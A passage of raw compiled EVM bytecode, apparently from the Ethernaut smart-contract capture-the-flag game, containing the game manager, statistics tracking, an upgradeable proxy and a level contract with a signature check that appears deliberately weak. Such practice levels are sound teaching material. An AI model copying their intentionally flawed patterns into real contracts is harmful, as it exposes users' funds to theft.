f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103e08161043c565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610ccf806105b483390190565b6001600160a01b03811681146103e0575f80fd5b5f602082840312156104d4575f80fd5b81356104df816104b0565b9392505050565b5f80604083850312156104f7575f80fd5b8235610502816104b0565b91506020830135610512816104b0565b809150509250929050565b6060810181835f5b6003811015610544578151835260209283019290910190600101610525565b50505092915050565b602081525f82518060208401525f5b81811015610579576020818601810151604086840101520161055c565b505f604082850101526040601f19601f83011684010191505092915050565b5f602082840312156105a8575f80fd5b81516104df816104b056fe6080604052348015600e575f80fd5b50604051610ccf380380610ccf833981016040819052602b916088565b6032336039565b600155609e565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602082840312156097575f80fd5b5051919050565b610c24806100ab5f395ff3fe608060405234801561000f575f80fd5b506004361061006f575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100c05780638db564c2146100d0578063f2fde38b146100e7575f80fd5b806361a423b114610073578063715018a614610088578063809aab9214610090575b5f80fd5b61008661008136600461038d565b6100fa565b005b6100866101e7565b6100a361009e366004610440565b6101fa565b6040516001600160a01b0390911681526020015b60405180910390f35b5f546001600160a01b03166100a3565b6100d960015481565b6040519081526020016100b7565b6100866100f5366004610457565b610222565b6101026102b7565b5f60015f815461011190610484565b919050819055826040516101249061036c565b61012f9291906104a8565b604051809103905ff080158015610148573d5f803e3d5ffd5b5060028054600180820183555f929092527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03841690811790915590546040805191825242602083015292935090917f7879fe07a34927cf93a00574a8c2e55740a44179eb359ed6850e486df16c5222910160405180910390a25050565b6101ef6102b7565b6101f85f610310565b565b60028181548110610209575f80fd5b5f918252602090912001546001600160a01b0316905081565b61022a6102b7565b6001600160a01b0381166102ab5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102b481610310565b50565b5f546001600160a01b031633146101f85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102a2565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6106f4806104fb83390190565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561039d575f80fd5b813567ffffffffffffffff8111156103b3575f80fd5b8201601f810184136103c3575f80fd5b803567ffffffffffffffff8111156103dd576103dd610379565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561040c5761040c610379565b604052818152828201602001861015610423575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f60208284031215610450575f80fd5b5035919050565b5f60208284031215610467575f80fd5b81356001600160a01b038116811461047d575f80fd5b9392505050565b5f600182016104a157634e487b7160e01b5f52601160045260245ffd5b5060010190565b828152604060208201525f82518060408401525f5b818110156104da57602081860181015160608684010152016104bd565b505f606082850101526060601f19601f830116840101915050939250505056fe60c060405234801561000f575f80fd5b506040516106f43803806106f483398101604081905261002e91610142565b60808281527f19457468657265756d205369676e6564204d6573736167653a0a3332000000005f908152601c849052603c812060a0819052604080518281526060868101516020838101919091528781015183850152928701519082015291936001939083855afa503d6100a957638baa579f5f526004601cfd5b5f805160808301604081815287516020808a01919091208552600190819052908420805460ff1916909117905582546001600160a01b0319166001600160a01b0383169081179093554290529250907f53b18c96aa52ab0b62231a748985fe77b5db7c4c758d0b398e220117ca69dfe19060a00160405180910390a250505050610212565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610153575f80fd5b825160208401519092506001600160401b03811115610170575f80fd5b8301601f81018513610180575f80fd5b80516001600160401b038111156101995761019961012e565b604051601f8201601f19908116603f011681016001600160401b03811182821017156101c7576101c761012e565b6040528181528282016020018710156101de575f80fd5b5f5b828110156101fc576020818501810151838301820152016101e0565b505f602083830101528093505050509250929050565b60805160a0516104bc6102385f395f818160da015261024301525f60a001526104bc5ff3fe608060405234801561000f575f80fd5b506004361061006f575f3560e01c8063e4e6cf4f1161004d578063e4e6cf4f146100d5578063f77c4791146100fc578063f978fd6114610126575f80fd5b8063259aa240146100735780633e8cd5701461008857806366fa19321461009b575b5f80fd5b6100866100813660046103bf565b610158565b005b6100866100963660046103ef565b6101af565b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b5f5461010e906001600160a01b031681565b6040516001600160a01b0390911681526020016100cc565b61014861013436600461043f565b60016020525f908152604090205460ff1681565b60405190151581526020016100cc565b5f610164848484610232565b9050806001600160a01b03167f50042401acb675fedd6dd939fccc629832ce60fa4185df25c01b20e8def195bf426040516101a191815260200190565b60405180910390a250505050565b5f6101bb858585610232565b5f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03858116919091179091556040514281529192508216907f8cf1cbc25758c16f47e27029c8104e5be712c49e9baaf12c1fd697a91b4316809060200160405180910390a25050505050565b604080515f808252602082018084527f0000000000000000000000000000000000000000000000000000000000000000905260ff8616928201929092526060810184905260808101839052819060019060a0016020604051602081039080840390855afa1580156102a5573d5f803e3d5ffd5b5050604051601f1901515f549092506001600160a01b0380841691161490506102fa576040517f6d5769be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60408051606081018252858152602080820186905260ff88168284015291515f92610326929101610456565b60408051601f1981840301815291815281516020928301205f818152600190935291205490915060ff1615610387576040517f900bb2c900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f908152600160208190526040909120805460ff19169091179055949350505050565b803560ff811681146103ba575f80fd5b919050565b5f805f606084860312156103d1575f80fd5b6103da846103aa565b95602085013595506040909401359392505050565b5f805f8060808587031215610402575f80fd5b61040b856103aa565b9350602085013592506040850135915060608501356001600160a01b0381168114610434575f80fd5b939692955090935050565b5f6020828403121561044f575f80fd5b5035919050565b6060810181835f5b600381101561047d57815183526020928301929091019060010161045e565b5050509291505056fea264697066735822122031023534388f4028bb8596e6318fd1ce6ff5bcdbc591bb7dad7b731bbc1b5ae764736f6c634300081a0033a2646970667358221220efbd8d8c9bb79395a8e543dc1a7127835ade14d2b4c46e6d3a53970ffc4678f164736f6c634300081a0033a2646970667358221220133a9da281d58695cd7ff4f60b630052afc289a49d4af4ec910e589282b42fcd64736f6c634300081a00336080604052348015600e575f80fd5b50601633601a565b6069565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b806100765f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea264697066735822122080c8e4423ac5e16f2a821e6d47dab5b4d12b1ab3729b1578156826c548432e7064736f6c634300081a00336080604052348015600e575f80fd5b50611e5e8061001c5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d9a565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d9a565b909155505060048054905f61097d83611d9a565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d9a565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d9a565b909155505060038054905f610ef683611d9a565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d9a565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db2565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dcb565b6112509190611de2565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d9a565b909155505060058054905f61181683611d9a565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d9a565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e01565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db2565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db2565b611bf89086611dcb565b611c029190611e15565b611c0c9190611de2565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b929592945050506040919091013590565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611dab57611dab611d86565b5060010190565b81810381811115611dc557611dc5611d86565b92915050565b8082028115828204841417611dc557611dc5611d86565b5f82611dfc57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc557611dc5611d8656fea26469706673582212209c1af9c0baba9c7219e292e60771a19a40802b3f33e6bfb97158b177cca4c14e64736f6c634300081a0033608060405234801561000f575f80fd5b50604051610d72380380610d7283398101604081905261002e916103ff565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b179091528390829061008890839083905f9061009f16565b506100949050826100ca565b5050505050506104ae565b6100a883610137565b5f825111806100b45750805b156100c5576100c38383610176565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6101095f80516020610d2b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1610134816101a2565b50565b6101408161023d565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b606061019b8383604051806060016040528060278152602001610d4b602791396102d1565b9392505050565b6001600160a01b03811661020c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f80516020610d2b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102aa5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610203565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61021c565b60606001600160a01b0384163b6103395760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610203565b5f80856001600160a01b0316856040516103539190610461565b5f60405180830381855af49150503d805f811461038b576040519150601f19603f3d011682016040523d82523d5f602084013e610390565b606091505b5090925090506103a18282866103ab565b9695505050505050565b606083156103ba57508161019b565b8251156103ca5782518084602001fd5b8160405162461bcd60e51b8152600401610203919061047c565b80516001600160a01b03811681146103fa575f80fd5b919050565b5f805f60608486031215610411575f80fd5b61041a846103e4565b9250610428602085016103e4565b9150610436604085016103e4565b90509250925092565b5f5b83811015610459578181015183820152602001610441565b50505f910152565b5f825161047281846020870161043f565b9190910192915050565b602081525f825180602084015261049a81604085016020870161043f565b601f01601f19169190910160400192915050565b610870806104bb5f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316